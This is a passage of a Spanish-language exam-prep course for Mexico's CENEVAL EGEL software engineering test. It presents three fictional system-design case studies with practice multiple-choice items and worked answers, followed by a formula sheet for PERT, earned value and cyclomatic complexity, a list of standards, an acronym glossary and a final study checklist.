a precio cerrado con penalizaciones, póliza de seguros). No elimina el riesgo técnico.\n  * **Aceptar Activa (*Accept*)**: Reconocer el riesgo y crear una **reserva de contingencia** (buffer financiero o temporal) dentro de la línea base para absorber el golpe si el evento ocurre.\n","title":"5.2 Catálogo maestro de trampas conceptuales y distractores frecuentes del CENEVAL EGEL"},{"children":[],"contentMd":"# 5.3 Macro-Casos de Decisión Holística Transversal: Simulación CENEVAL EGEL\n\nLos reactivos de mayor puntuación y discriminación psicométrica en el EGEL presentan casos complejos de negocio donde el sustentante debe evaluar restricciones interrelacionadas entre los cuatro bloques disciplinares de la ingeniería de software.\n\nA continuación, se desarrollan **tres macro-casos profesionales completos**, cada uno con su correspondiente análisis arquitectónico-metodológico y reactivos de evaluación con justificaciones exhaustivas.\n\n---\n\n## 1. Macro-Caso 1: Plataforma de Telemedicina de Emergencia Marítima \"BioNav\"\n\n### Contexto y Retos del Sistema\nUna corporación naviera internacional contrata el desarrollo de **BioNav**, un sistema de soporte vital y telemedicina para buques de carga en altamar. El entorno presenta las siguientes características críticas:\n1. **Conectividad Satelital Intermitente**: El enlace satelital con los hospitales en tierra sufre microcortes constantes y tiene un costo astronómico por megabyte transmitido (ancho de banda severamente restringido a 64 kbps).\n2. **Sensores de Monitoreo Fisiológico**: Sensores biomédicos conectados a los pacientes en cabina transmiten señales de electrocardiograma (ECG), saturación de oxígeno y presión arterial en tiempo real. Si un paciente sufre una arritmia maligna, el sistema del barco debe alertar a la tripulación local en menos de 500 milisegundos de forma autónoma, sin depender de la conexión con tierra.\n3. **Privacidad y Auditoría Médica**: Cumplimiento normativo estricto de la ley de protección de datos médicos (**HIPAA / GDPR**), exigiendo cifrado de datos en reposo y en tránsito, y no repudio total de los diagnósticos emitidos por los médicos en tierra.\n\n```\n                   ARQUITECTURA DISTRIBUIDA DE BIONAV\n                   \n   [ BUQUE EN ALTA MAR (Edge) ]                     [ HOSPITAL EN TIERRA (Cloud) ]\n ┌───────────────────────────────┐                 ┌─────────────────────────────┐\n │ • Sensores biomédicos (ECG)   │                 │ • Portal de Médicos Especial.│\n │ • Edge Computing local        │    Satelital    │ • Clúster Kubernetes Cloud  │\n │ • SQLite cifrada (SQLCipher)  │ ◄─────────────► │ • Base de datos PostgreSQL  │\n │ • Patrón Store-and-Forward    │  (64 kbps /     │ • Motor de tele-diagnóstico │\n │ • Alertas locales autónomas   │   Protobuf)     │ • Auditoría y firma digital │\n └───────────────────────────────┘                 └─────────────────────────────┘\n```\n\n### Síntesis de Decisiones de Ingeniería de Software\n* **Bloque 1 (Requerimientos)**: Requisito Funcional esencial: detección de arritmias local. Requisito No Funcional de Rendimiento y Disponibilidad: latencia local $\u003c 500\\text{ ms}$, disponibilidad 99.999% en el buque independiente del satélite. Restricción técnica: ancho de banda máximo de 64 kbps.\n* **Bloque 2 (Arquitectura y Diseño)**:\n  * Arquitectura **Edge Computing** combinada con el patrón **Store-and-Forward (Almacenar y Reenviar)**: el buque persiste los eventos médicos en una cola local y los sincroniza asíncronamente con la nube cuando el enlace satelital está activo.\n  * Patrón **Observer** para despachar alertas locales inmediatas en los monitores del buque sin latencia de red.\n* **Bloque 3 (Desarrollo y Persistencia)**:\n  * Protocolo de transporte: **Protocol Buffers (Protobuf)** en lugar de JSON o XML, reduciendo el tamaño de la carga útil (*payload*) en más de un 80% para no saturar el canal satelital.\n  * Base de datos local embebida **SQLite cifrada con SQLCipher** (AES-256), con reconciliación de datos por marcas temporales monotónicas (CRDTs) para resolver colisiones de sincronización.\n* **Bloque 4 (Gestión y Calidad)**:\n  * Modelo metodológico híbrido: **Modelo en V** para certificar el software embebido de lectura de sensores bajo normas de dispositivos médicos (IEC 62304), y **Scrum** para el desarrollo evolutivo del portal web de los médicos hospitalarios en tierra.\n  * Pruebas de calidad: **Prueba de Resistencia (*Soak Testing*)** de 120 horas para verificar que el recolector de datos del barco no presente fugas de memoria durante travesías oceánicas.\n\n---\n\n### Reactivos de Evaluación del Macro-Caso 1\n\n#### Reactivo 1.1\nPara optimizar el costo de telecomunicaciones satelitales en el sistema BioNav, el arquitecto de software debe seleccionar el formato de serialización de datos adecuado para transmitir la telemetría de los sensores fisiológicos hacia los servidores terrestres. El formato debe minimizar al máximo la sobrecarga de bytes de red, soportar esquemas estrictos de validación de tipos hacia adelante y hacia atrás, y ejecutarse con bajo consumo de CPU en el computador embebido del buque. ¿Qué tecnología satisface de forma óptima este conjunto de restricciones?\n\nA) Documentos JSON estructurados con compresión GZIP en cada petición HTTP individual  \nB) Mensajes binarios compactos definidos mediante esquemas de Protocol Buffers (Protobuf) sobre canales gRPC  \nC) Tramas de texto plano delimitadas por comas (CSV) transmitidas por sockets TCP sin cifrar  \nD) Documentos XML con definición formal de esquema XSD y firmas XMLDSig en el cuerpo  \n\n* **Respuesta Correcta**: **B) Mensajes binarios compactos definidos mediante esquemas de Protocol Buffers (Protobuf) sobre canales gRPC**\n* **Justificación**: Protobuf codifica los datos en formato binario fuertemente tipado sin enviar los nombres de las claves o atributos en cada mensaje (a diferencia de JSON o XML), reduciendo la sobrecarga de transporte a una fracción mínima, ideal para canales de ancho de banda extremadamente reducido como el enlace satelital de 64 kbps. GZIP en peticiones individuales pequeñas agrega sobrecarga de cabeceras, y CSV carece de esquemas formales y tipado seguro.\n\n#### Reactivo 1.2\nDurante la navegación en una tormenta electromagnética, el buque mercante pierde contacto satelital con tierra durante 18 horas continuas. En ese lapso, un marinero presenta un cuadro de insuficiencia respiratoria severa. El software local instalado en el buque procesa los datos del oxímetro, genera una alerta audible en cabina de mando, sugiere al oficial médico la dosis de oxígeno terapéutico y almacena 45,000 registros biométricos en la base de datos local para su posterior sincronización. Según los estándares de calidad ISO/IEC 25010 y los patrones arquitectónicos empleados, ¿qué características de calidad y patrones de diseño justifican el éxito operativo del sistema ante la desconexión?\n\nA) Portabilidad y Adaptabilidad; implementadas mediante el patrón Decorator  \nB) Fiabilidad (subcaracterística de Tolerancia a fallos y Disponibilidad); implementada mediante arquitectura Edge Computing y el patrón Store-and-Forward  \nC) Mantenibilidad y Modularidad; implementadas mediante el patrón Singleton y microservicios en la nube  \nD) Usabilidad y Capacidad de Aprendizaje; implementadas mediante una interfaz basada en Cascada  \n\n* **Respuesta Correcta**: **B) Fiabilidad (subcaracterística de Tolerancia a fallos y Disponibilidad); implementada mediante arquitectura Edge Computing y el patrón Store-and-Forward**\n* **Justificación**: La capacidad del software para continuar operando y prestando sus funciones críticas a pesar de la falla de un componente externo (el enlace satelital) es la definición exacta de **Tolerancia a fallos y Disponibilidad** bajo ISO/IEC 25010. El patrón arquitectónico que permite persistir los datos localmente y diferir su sincronización hasta que se restablezca el canal es **Store-and-Forward** operando en el borde (**Edge Computing**).\n\n---\n\n## 2. Macro-Caso 2: Plataforma Neobanco FinTech en la Nube \"NovaBank\"\n\n### Contexto y Retos del Sistema\nUna entidad bancaria 100% digital (**NovaBank**) experimenta un crecimiento explosivo: pasa de 20,000 a 2,000,000 de cuentahabientes en seis meses. Su arquitectura original basada en un monolito alojado en servidores virtuales comienza a exhibir fallas graves:\n1. **Problema de Concurrencia y Consistencia Financiera**: En días de quincena, miles de transacciones de retiro colapsan la base de datos relacional. Se reportan incidentes de \"doble gasto\" (*race conditions*) donde dos retiros simultáneos en cajeros leen el mismo saldo disponible antes de actualizarlo, dejando saldos negativos indebidos.\n2. **Caídas en Cascada por Microservicios Externos**: La pasarela de transferencias interbancarias del Banco Central sufre degradaciones temporales elevando su latencia a 12 segundos. Como el servicio de checkout de NovaBank invoca a dicha pasarela mediante peticiones HTTP síncronas bloqueantes, el pool de conexiones del servidor web se agota en 3 minutos, tirando la aplicación móvil por completo.\n3. **Gobierno y Control del Proyecto**: Al mes 4 de la reestructuración, el análisis de Valor Ganado reporta: $BAC = \\$600,000\\text{ USD}$, $PV = \\$350,000\\text{ USD}$, $EV = \\$280,000\\text{ USD}$ y $AC = \\$350,000\\text{ USD}$. La actividad crítica \"Certificación de Cumplimiento PCI-DSS\" acumula un retraso de 3 semanas.\n\n```\n                           ARQUITECTURA FINTECH NOVABANK\n                           \n[ App Móvil ] ──► [ API Gateway (OAuth2/JWT) ] ──► [ Microservicio Cuentas ]\n                                                            │\n                     ┌──────────────────────────────────────┴──────────────────────────────────────┐\n                     ▼                                                                             ▼\n          [ Event Broker (Kafka) ]                                                  [ Bloqueo Optimista (@Version) ]\n                     │                                                                             │\n         ┌───────────┴───────────┐                                                                 ▼\n         ▼                       ▼                                                         [ PostgreSQL Ledger ]\n[ Notificaciones ]     [ Microservicio SPEI ] ──► [ Circuit Breaker ] ──► [ Banco Central Externo ]\n```\n\n---\n\n### Reactivos de Evaluación del Macro-Caso 2\n\n#### Reactivo 2.1\nPara resolver definitivamente las condiciones de carrera que provocan el \"doble gasto\" en el balance de los cuentahabientes durante picos transaccionales, el equipo de ingeniería de datos debate entre utilizar bloqueo pesimista a nivel de fila (`SELECT ... FOR UPDATE`) o un mecanismo de control de concurrencia optimista (*Optimistic Concurrency Control*). Sabiendo que el 98% de las transacciones son lecturas de saldo y consultas de movimientos, y solo el 2% son transferencias de débito concurrentes, ¿cuál es la solución técnica con mejor balance entre rendimiento y consistencia transaccional ACID?\n\nA) Bloqueo pesimista exclusivo en la tabla completa de cuentas en cada lectura para garantizar aislamiento total  \nB) Implementar control de concurrencia optimista utilizando una columna de versión (`version`) o timestamp en el registro de la cuenta, reintentando la transacción en caso de conflicto de modificación concurrente  \nC) Eliminar la base de datos relacional y migrar a una base NoSQL sin transacciones que priorice la disponibilidad (AP)  \nD) Ejecutar todos los retiros en un único hilo síncrono bloqueante en memoria RAM sin persistencia en disco  \n\n* **Respuesta Correcta**: **B) Implementar control de concurrencia optimista utilizando una columna de versión (`version`) o timestamp en el registro de la cuenta, reintentando la transacción en caso de conflicto de modificación concurrente**\n* **Justificación**: En sistemas donde la tasa de colisión concurrente sobre el mismo registro es baja (el 98% son lecturas no conflictivas), el **bloqueo optimista** evita el bloqueo costoso de filas en la base de datos, permitiendo lecturas ultra-rápidas concurrentes. Si dos transacciones intentan actualizar el mismo registro simultáneamente, una detecta que la versión cambió (`UPDATE ... WHERE id=? AND version=?`), aborta y reintenta de forma segura, garantizando la consistencia ACID sin cuellos de botella de concurrencia. Bloquear la tabla completa (opción A) colapsaría el sistema.\n\n#### Reactivo 2.2\nAnalizando los datos de Valor Ganado de NovaBank al mes 4 ($BAC = \\$600,000$, $PV = \\$350,000$, $EV = \\$280,000$, $AC = \\$350,000$), y considerando que la certificación PCI-DSS en la ruta crítica sufre 3 semanas de retraso pero la empresa cuenta con fondos de contingencia aprobados, ¿cuál es el cálculo exacto de los índices $CPI$ y $SPI$, el diagnóstico del proyecto y la técnica de compresión idónea para recuperar el tiempo?\n\nA) $CPI = 1.25$, $SPI = 1.25$; el proyecto está adelantado y bajo presupuesto; se debe aplicar nivelación de recursos  \nB) $CPI = 0.80$, $SPI = 0.80$; el proyecto presenta sobrecosto y retraso en el cronograma; la técnica idónea en la ruta crítica es *Crashing* contratando auditores de certificación PCI-DSS adicionales con los fondos de contingencia  \nC) $CPI = 0.80$, $SPI = 0.80$; el proyecto debe incorporar 10 desarrolladores juniors inmediatamente según la Ley de Brooks  \nD) $CPI = 1.00$, $SPI = 0.70$; el proyecto debe aplicar Fast-Tracking solapando la certificación regulatoria antes de construir el código  \n\n* **Respuesta Correcta**: **B) $CPI = 0.80$, $SPI = 0.80$; el proyecto presenta sobrecosto y retraso en el cronograma; la técnica idónea en la ruta crítica es *Crashing* contratando auditores de certificación PCI-DSS adicionales con los fondos de contingencia**\n* **Justificación Matemática y de Gestión**:\n  $$CPI = \\frac{EV}{AC} = \\frac{280,000}{350,000} = \\mathbf{0.80} \\quad (\\text{Sobrecosto: por cada \\$1 gastado solo se generan \\$0.80 de valor})$$\n  $$SPI = \\frac{EV}{PV} = \\frac{280,000}{350,000} = \\mathbf{0.80} \\quad (\\text{Retraso: se avanza al 80\\% del ritmo planificado})$$\n  Para recuperar el retraso en una actividad de certificación en la ruta crítica que tiene dependencias legales estrictas (impidiendo el solapamiento o Fast-Tracking), la intervención técnica correcta es la compresión por costos (**Crashing**), inyectando recursos especializados (auditores expertos en PCI-DSS) financiados con la reserva de contingencia.\n\n---\n\n## 3. Macro-Caso 3: Modernización de Monolito Gubernamental \"GobDigital\"\n\n### Contexto y Retos del Sistema\nEl Servicio Tributario Nacional opera una plataforma legada construida hace 24 años. El sistema presenta las siguientes patologías técnicas y operacionales:\n1. **Monolito de Código Espagueti**: Un único archivo fuente central en C++ de más de 85,000 líneas contiene la lógica de validación fiscal, la conexión directa a base de datos mediante sentencias SQL concatenadas y la interfaz gráfica.\n2. **Deuda Técnica Crítica y Factor Autobús Unitario**: Nadie en la institución comprende el funcionamiento global del algoritmo de cálculo de deducciones fiscales; las dos únicas personas que lo programaron se jubilaron el año pasado (deuda técnica imprudente e inadvertida, *Bus Factor = 1*). Cada vez que se modifica una línea de código para actualizar una tasa impositiva, se generan anomalías regresivas en módulos no relacionados.\n3. **Restricción de Continuidad Operativa**: La recaudación tributaria diaria ($150 millones de pesos al día) no puede suspenderse ni un solo segundo. La modernización no puede ejecutarse como un reemplazo masivo de un solo golpe (*Big Bang*).\n\n```\n          PATRÓN STRANGLER FIG (HIGO ESTRANGULADOR) EN GOBDIGITAL\n          \n                           [ PETICIONES DE USUARIOS ]\n                                       │\n                                       ▼\n                   ┌───────────────────────────────────────┐\n                   │    ENRUTADOR / PROXY INVERSO FACADE   │\n                   └───────────────────┬───────────────────┘\n                                       │\n                ┌──────────────────────┴──────────────────────┐\n                │ (Rutas Viejas)                              │ (Rutas Modernizadas)\n                ▼                                             ▼\n  ┌───────────────────────────┐                 ┌───────────────────────────┐\n  │      SISTEMA LEGADO       │                 │   NUEVOS MICROSERVICIOS   │\n  │   (Monolito C++ 85k L)    │ ◄───[ ACL ]──── │   • Arquitectura Limpia   │\n  │   • SQL Concatenado       │                 │   • API REST + CI/CD      │\n  │   • Acoplamiento masivo   │                 │   • Pruebas Unitarias TDD │\n  └───────────────────────────┘                 └───────────────────────────┘\n```\n\n---\n\n### Reactivos de Evaluación del Macro-Caso 3\n\n#### Reactivo 3.1\nPara modernizar la plataforma tributaria sin interrumpir la recaudación fiscal diaria ni asumir los riesgos catastróficos de un despliegue masivo tipo \"Big Bang\", el arquitecto jefe propone colocar un componente de interceptación en la entrada de las peticiones que redirija gradualmente el tráfico de las funcionalidades modernizadas hacia nuevos microservicios construidos con pruebas automatizadas, mientras las funciones no migradas continúan ejecutándose en el monolito legado hasta su extinción paulatina. Adicionalmente, entre los nuevos servicios y el modelo de datos legado se interpone una capa de traducción que previene que los esquemas relacionales obsoletos corrompan el nuevo dominio. ¿Qué patrones arquitectónicos se están aplicando en esta estrategia?\n\nA) Patrón Microkernel y Patrón Singleton  \nB) Patrón Strangler Fig (Higo Estrangulador) y Patrón Capa Anticorrupción (*Anti-Corruption Layer - ACL*)  \nC) Patrón Modelo-Vista-Controlador (MVC) y Patrón Active Record  \nD) Patrón Master-Slave y Patrón Visitor  \n\n* **Respuesta Correcta**: **B) Patrón Strangler Fig (Higo Estrangulador) y Patrón Capa Anticorrupción (*Anti-Corruption Layer - ACL*)**\n* **Justificación Teórica**:\n  * **Strangler Fig (Martin Fowler)**: Es el patrón arquitectónico por excelencia para migrar sistemas monolíticos legados de forma incremental y segura. Un enrutador intercepta las llamadas, desviando progresivamente los endpoints hacia la nueva arquitectura limpia hasta que el sistema legado queda completamente \"estrangulado\" y puede apagarse sin disrupción de negocio.\n  * **Anti-Corruption Layer (Eric Evans - DDD)**: Es la capa de mediación y adaptación que traduce los datos y conceptos entre dos subsistemas con modelos de dominio divergentes, evitando que la semántica deficiente o corrupta del sistema legado contamine el diseño limpio de los nuevos microservicios.\n\n#### Reactivo 3.2\nEl nuevo equipo asignado a la reescritura del motor de deducciones fiscales decide aplicar la práctica de TDD (*Test-Driven Development*) y programar en parejas (*Pair Programming*) según las directrices de Extreme Programming (XP). Antes de liberar la primera versión del módulo a producción, el Moderador convoca a una sesión de Inspección Formal de Michael Fagan (IEEE 1028) para revisar la lógica de las deducciones complejas. Durante la inspección, se detecta que un método tiene una complejidad ciclomática de McCabe $V(G) = 18$. ¿Cuál es el dictamen técnico correcto respecto a la calidad y testabilidad de dicho método?\n\nA) El método es simple, no requiere pruebas automatizadas y cumple los umbrales de bajo riesgo de McCabe ($V(G) \\le 10$)  \nB) El método presenta una complejidad lógica moderadamente alta; requiere refactorizarse para reducir su complejidad o diseñar obligatoriamente al menos 18 casos de prueba independientes para asegurar la cobertura completa de caminos base  \nC) El método es matemáticamente incompilable y debe desecharse el lenguaje C++  \nD) La métrica de McCabe solo aplica a bases de datos NoSQL, por lo que el hallazgo debe descartarse del reporte de inspección  \n\n* **Respuesta Correcta**: **B) El método presenta una complejidad lógica moderadamente alta; requiere refactorizarse para reducir su complejidad o diseñar obligatoriamente al menos 18 casos de prueba independientes para asegurar la cobertura completa de caminos base**\n* **Justificación de Calidad**:\n  Según la escala formal de Thomas McCabe:\n  * $V(G) \\le 10$: Programa simple, bajo riesgo.\n  * $V(G) = 11 \\text{ a } 20$: **Riesgo moderado, complejidad estructural media-alta**.\n  * $V(G) \u003e 20$: Alto riesgo, difícil de probar y mantener.\n  Un valor de $V(G) = 18$ establece que existen exactamente 18 caminos linealmente independientes en el grafo de flujo de control, lo que demanda un mínimo estricto de **18 casos de prueba independientes** para alcanzar el 100% de *Basis Path Testing*. La recomendación formal de calidad es refactorizar el método (dividiéndolo en submétodos más pequeños y cohesivos) para reducir su complejidad a $V(G) \\le 10$.\n","title":"5.3 Macro-casos de decisión holística transversal: Simulación CENEVAL EGEL"},{"children":[],"contentMd":"# 5.4 Checklist Final, Formulario Unificado y Estrategia de Maestría para el CENEVAL EGEL\n\nEsta lección constituye el compendio final y guía estratégica de ejecución para el sustentante del **Examen General para el Egreso de la Licenciatura en Ingeniería de Software (EGEL Plus - CENEVAL)**.\n\n---\n\n## 1. Estrategia Táctica y Manejo del Tiempo el Día del Examen\n\nEl examen CENEVAL suele administrarse en **dos sesiones de 4 horas cada una**, con aproximadamente 140 preguntas por sesión. Esto otorga un promedio de **1.7 minutos por reactivo**.\n\n```\n                           EL MÉTODO DEL SEMÁFORO EN 3 PASADAS\n                           \n ┌─────────────────────────────────────────────────────────────────────────────┐\n │ PASADA 1: REACTIVOS VERDES (Minutos 0 a 120)                                │\n │ • Responder inmediatamente todas las preguntas directas y conceptuales      │\n │   donde la respuesta correcta es evidente.                                  │\n │ • Garantiza asegurar el 50-60% del examen sin presión de tiempo.            │\n ├─────────────────────────────────────────────────────────────────────────────┤\n │ PASADA 2: REACTIVOS AMARILLOS (Minutos 120 a 200)                           │\n │ • Resolver los reactivos que involucran cálculos matemáticos (PERT, EVM,    │\n │   McCabe, Canales de comunicación) y análisis de diagramas UML complejos.   │\n ├─────────────────────────────────────────────────────────────────────────────┤\n │ PASADA 3: REACTIVOS ROJOS Y REVISIÓN (Minutos 200 a 240)                    │\n │ • Analizar los macro-casos de lectura extensa y descartar sistemáticamente. │\n │ • REGLA CAPITAL: NUNCA dejar un reactivo en blanco. CENEVAL no descuenta    │\n │   puntos por respuestas erróneas; el azar razonado siempre suma.            │\n └─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### La Técnica de Lectura Inversa para Casos Extensos\nEn preguntas con enunciados de 3 o 4 párrafos:\n1. **Lee primero el último renglón (la pregunta exacta)**. Esto te dirá de inmediato qué buscar (ej. *\"¿Qué métrica de calidad de McCabe...?\"* o *\"¿Qué estrategia ante amenazas...?\"*).\n2. **Revisa brevemente las 4 opciones de respuesta**. Tu mente filtrará el texto en busca de las palabras clave relevantes.\n3. **Lee el caso**: ahora detectarás de inmediato los datos numéricos o restricciones que definen la respuesta, ignorando el \"ruido\" de contexto prescindible.\n\n---\n\n## 2. Formulario Matemático Unificado del Examen\n\nConserva en tu memoria este formulario integral que cubre todos los reactivos cuantitativos de la evaluación:\n\n| Disciplina / Métrica | Fórmula Matemática | Variables y Significado |\n| :--- | :--- | :--- |\n| **Duración Esperada PERT ($V_E$)** | $V_E = \\frac{O + 4M + P}{6}$ | $O$: Optimista, $M$: Más probable, $P$: Pesimista. Media Beta. |\n| **Desviación Estándar PERT ($\\sigma$)** | $\\sigma = \\frac{P - O}{6}$ | Rango de incertidumbre de la actividad. |\n| **Varianza PERT ($\\sigma^2$)** | $\\sigma^2 = \\left(\\frac{P - O}{6}\\right)^2$ | La varianza de la ruta crítica es la suma de las varianzas de sus tareas. |\n| **Holgura Total ($HT$)** | $HT = LF - EF = LS - ES$ | Margen de atraso sin retrasar el fin del proyecto. En ruta crítica, $HT = 0$. |\n| **Variación de Costo ($CV$)** | $CV = EV - AC$ | $EV$: Valor Ganado, $AC$: Costo Actual. Positivo = Ahorro; Negativo = Sobrecosto. |\n| **Variación de Cronograma ($SV$)** | $SV = EV - PV$ | $PV$: Valor Planificado. Positivo = Adelanto; Negativo = Retraso. |\n| **Índice Desempeño Costo ($CPI$)** | $CPI = \\frac{EV}{AC}$ | $\u003e 1.0$: Eficiencia financiera; $\u003c 1.0$: Ineficiencia de costos. |\n| **Índice Desempeño Cronograma ($SPI$)** | $SPI = \\frac{EV}{PV}$ | $\u003e 1.0$: Adelanto en trabajo; $\u003c 1.0$: Retraso en avance físico. |\n| **Estimación a la Conclusión ($EAC$)** | $EAC = \\frac{BAC}{CPI}$ | Costo final proyectado manteniendo la tendencia de gasto actual. |\n| **Estimación para Terminar ($ETC$)** | $ETC = EAC - AC = \\frac{BAC - EV}{CPI}$ | Dinero adicional necesario para terminar el trabajo restante. |\n| **Canales de Comunicación ($C$)** | $C = \\frac{n(n - 1)}{2}$ | $n$: Personas en el equipo. Base matemática de la Ley de Brooks. |\n| **Valor Monetario Esperado ($EMV$)** | $EMV = P \\times \\text{Impacto (\\$)}$ | Base cuantitativa de la Reserva de Contingencia (*Known-Unknowns*). |\n| **Complejidad Ciclomática ($V(G)$)** | $V(G) = E - N + 2P = P_n + 1$ | $E$: Aristas, $N$: Nodos, $P=1$. $P_n$: Predicados condicionales. Mínimo de tests. |\n| **Ley de Little (Kanban)** | $CT = \\frac{WIP}{TH}$ | $CT$: Cycle Time, $WIP$: Trabajo en Progreso, $TH$: Rendimiento / Throughput. |\n| **Cobertura de Sentencias (C0)** | $\\frac{\\text{Líneas ejecutadas}}{\\text{Líneas totales}} \\times 100\\%$ | Porcentaje de código ejecutado (débil ante ramas no cubiertas). |\n\n---\n\n## 3. Catálogo Maestro de Normas y Estándares Internacionales\n\n* **IEEE 830 / ISO/IEC/IEEE 29148**: Estándar para la Especificación de Requerimientos de Software (SRS). Define las propiedades de un buen requerimiento: correcto, no ambiguo, completo, verificable, consistente y trazable.\n* **IEEE 1012**: Estándar para la Verificación y Validación de Software (V\u0026V).\n* **IEEE 1028**: Estándar para Revisiones e Inspecciones de Software (define formalmente las Inspecciones de Fagan, Walkthroughs, Revisiones Técnicas y Auditorías).\n* **ISO/IEC 25010 (SQuaRE)**: Modelo de Calidad del Producto de Software (8 características: Adecuación Funcional, Eficiencia de Rendimiento, Compatibilidad, Usabilidad, Fiabilidad, Seguridad, Mantenibilidad y Portabilidad).\n* **ISO 31000**: Principios y directrices de Gestión de Riesgos (Identificación, Análisis cualitativo/cuantitativo, Respuesta y Monitoreo).\n* **ISO/IEC 27001**: Sistema de Gestión de Seguridad de la Información (SGSI).\n* **CMMI-DEV v2.0**: Modelo de Madurez de Capacidades para Desarrollo (Niveles 1 a 5: Inicial, Gestionado, Definido, Gestionado Cuantitativamente, Optimización).\n* **MoProSoft (NMX-I-059/02-NYCE)**: Norma Mexicana de Procesos de Software para MiPyMEs (3 capas: Alta Dirección, Gerencia y Operación).\n\n---\n\n## 4. Diccionario Rápido de Acrónimos de Alto Impacto\n\n* **ACID**: Atomicidad, Consistencia, Aislamiento, Durabilidad (Bases de datos relacionales).\n* **BASE**: Disponibilidad Básica (*Basically Available*), Estado Flexible (*Soft-state*), Consistencia Eventual (*Eventual Consistency*) (Bases NoSQL).\n* **CAP**: Teorema de Eric Brewer (Consistencia, Disponibilidad, Tolerancia a Particiones de red; solo 2 de 3).\n* **SOLID**: Single Responsibility, Open/Closed, Liskov Substitution, Interface Segregation, Dependency Inversion.\n* **GRASP**: General Responsibility Assignment Software Patterns (Experto, Creador, Controlador, Bajo Acoplamiento, Alta Cohesión, etc.).\n* **TDD**: *Test-Driven Development* (Ciclo Red-Green-Refactor).\n* **BDD**: *Behavior-Driven Development* (Sintaxis Given-When-Then / Gherkin).\n* **CI/CD**: Integración Continua y Entrega / Despliegue Continuo.\n* **DoD / DoR**: *Definition of Done* (Criterios para considerar terminado un ítem) / *Definition of Ready* (Criterios para admitir un ítem al Sprint).\n* **WBS / EDT**: *Work Breakdown Structure* / Estructura de Desglose del Trabajo.\n* **MTBF / MTTR**: *Mean Time Between Failures* (Tiempo medio entre fallos) / *Mean Time To Repair* (Tiempo medio de recuperación).\n* **OWASP**: *Open Web Application Security Project* (Top 10 de vulnerabilidades de aplicaciones web).\n\n---\n\n## 5. Checklist de Preparación Definitiva para el Sustentante\n\nMarca mentalmente cada competencia antes de presentarte a la evaluación:\n\n- [ ] **Bloque 1**: Sé diferenciar un Requerimiento Funcional de un No Funcional y de una Restricción; domino la sintaxis de casos de uso (`\u003c\u003cinclude\u003e\u003e` vs `\u003c\u003cextend\u003e\u003e`), diagramas de clases, estados y secuencias UML.\n- [ ] **Bloque 2**: Identifico de inmediato los 23 patrones GoF y distingo con claridad Microservicios, Monolito, Event-Driven, Microkernel y Hexagonal, justificando decisiones con los principios SOLID.\n- [ ] **Bloque 3**: Comprendo la gestión de memoria (Stack vs Heap), concurrencia (evitar Deadlocks), el problema $N+1$ en ORMs, la indexación B-Tree, el Teorema CAP, los contenedores Docker y el OWASP Top 10.\n- [ ] **Bloque 4**: Calculo sin titubeos la ruta crítica (PERT/CPM), las variaciones y proyecciones EVM ($CPI, SPI, EAC$), la complejidad de McCabe ($V(G)$), distingo QA de QC, reconozco los roles de Scrum y las 4 estrategias de riesgo (Evitar, Mitigar, Transferir, Aceptar).\n- [ ] **Bloque 5**: Comprendo la interacción sistémica entre todos los bloques y reconozco las trampas conceptuales de descarte inmediato.\n\n¡Estás plenamente capacitado con rigor universitario y profesional para alcanzar el testimonio de desempeño sobresaliente en el CENEVAL EGEL de Ingeniería en Software!\n","title":"5.4 Checklist final, formulario unificado y estrategia de maestría para el CENEVAL EGEL"}],"shortDescription":"Matriz de conexiones 360° entre requisitos, arquitectura, desarrollo y gestión; catálogo de trampas conceptuales y distractores de examen; macro-casos de decisión holística; y checklist final con formulario unificado.","title":"Bloque 5. Repaso Integrador Transversal EGEL"}],"name":"Preparación Intensiva EGEL - Ingeniería de Software","schemaVersion":2,"title":"Preparación Intensiva EGEL - Ingeniería de Software","version":"1.0"}
